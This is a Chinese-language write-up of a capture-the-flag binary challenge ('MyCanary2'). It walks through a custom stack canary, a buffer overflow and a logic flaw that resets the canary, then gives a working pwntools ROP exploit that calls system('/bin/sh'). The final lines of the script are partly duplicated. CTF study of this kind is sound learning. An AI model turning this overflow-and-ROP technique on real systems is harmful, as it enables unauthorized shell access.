Analyse
- sub_4012B6()
unsigned int sub_4012B6()
{
int v0; // eax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
printf("can't open /dev/urandom");
exit(-1);
}
read(fd, &qword_4040D0, 8uLL);
close(fd);
v0 = time(0LL);
srand(v0 ^ qword_4040D0);
return alarm(0x14u);
}
这里通过time()时间戳和qword_4040D0
作为seed,进行一个随机数的生成
-
sub_4013EC()
__int64 sub_4013EC()
{
__int64 result; // rax
char buf[88]; // [rsp+0h] [rbp-70h] BYREF
__int64 v2; // [rsp+58h] [rbp-18h]
int v3; // [rsp+68h] [rbp-8h]
int v4; // [rsp+6Ch] [rbp-4h]
v4 = 0;
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("I have a secret. Can you find it?");
while ( !v4 )
{
sub_401381();
v3 = READ();
switch ( v3 )
{
case 2:
printf("My secret is %016lx\n", qword_4040D0);
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
printf("But now, I have a new Secret.");
break;
case 3:
v4 = 1;
break;
case 1:
puts("Show me the code:");
read(0, buf, 0x100uLL);
break;
}
}
result = qword_4040D0;
if ( v2 != qword_4040D0 )
{
printf("Hey, What are you doing?");
exit(0);
}
return result;
}
case2:输出qword_4040D0
,并且将rand()生成的随机数值左移运算32后赋给qword_4040D0
,接着再加上一个随机数值,将qword_4040D0
赋给v2,这个v2就起到一个canary的作用
case1:stackoverflow
程序退出前检查v2的值是否被改动过,如果与之前不等,则crash掉
.text:0000000000401573 ; __unwind {
.text:0000000000401573 endbr64
.text:0000000000401577 push rbp
.text:0000000000401578 mov rbp, rsp
.text:000000000040157B lea rdi, aBinSh ; "/bin/sh"
.text:0000000000401582 call _system
.text:0000000000401587 nop
.text:0000000000401588 pop rbp
.text:0000000000401589 retn
.text:0000000000401589 ; } // starts at 401573
程序有后门函数,我们可以利用/bin/sh
-0000000000000070 buf db 88 dup(?)
-0000000000000018 anonymous_0 dq ? //v2
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dd ? //v4
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
栈的一个分布,v2在buf的下方,我们在利用stackoverflow的时候会将v2覆盖掉,这样退出程序必然会crash
逻辑漏洞:如果我们先利用stackoverflow漏洞,ROP,调用system,构造system(“/bin/sh”),再采用case2来生成canary,qword_4040D0
的值会被赋给v2,这样虽然刚才v2被覆盖掉,但是现在已经是新生成的canary的值了,退出程序不会crash
刚拿到这道题的时候我在预测canary的值,没想到这么简单
exp
'''
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
'''
from pwn import *
import ctypes
context(os = "linux" , arch = "amd64" , log_level = "debug")
elf_path = "/mnt/c/Users/M1sceden4/Desktop/MyCanary2/tempdir/PWN附件/MyCanary2"
libc_func = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
local = int(input("0 for remote , 1 for local:\t"))
host = "node4.buuoj.cn"
port = 28118
if local == 1:
io = process(elf_path)
elif local == 0:
io = remote(host , port)
pop_rdi = 0x401613
ret = 0x40101a
elf = ELF(elf_path)
# io.recvuntil("Input your choice\n")
# io.sendline("2")
# io.recvuntil("My secret is ")
# qword_4040D0 = (io.recv(16)).decode()
# success("get qword_4040D0 : %s" % qword_4040D0)
# time = libc_func.time(0)
# libc_func.srand((time) ^ (qword_4040D0))
# new_secret = libc_func.rand() + (libc_func.rand() << 32)
# print(new_secret)
io.recvuntil("Input your choice\n")
io.sendline('1')
io.recvuntil("Show me the code:\n")
bin_sh = next(elf.search(b"/bin/sh"))
success('got binsh -> %s' % hex(bin_sh))
payload = b'a' * 0x68 + p32(1) + p32(0) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(elf.plt['system'])
io.sendline(payload)
io.recvuntil("Input your choice\n")
io.sendline("2")
io.recvuntil("Input your choice\n")
io.sendline("3")
io.interactive()hoice\n")
io.sendline("3")
io.interactive()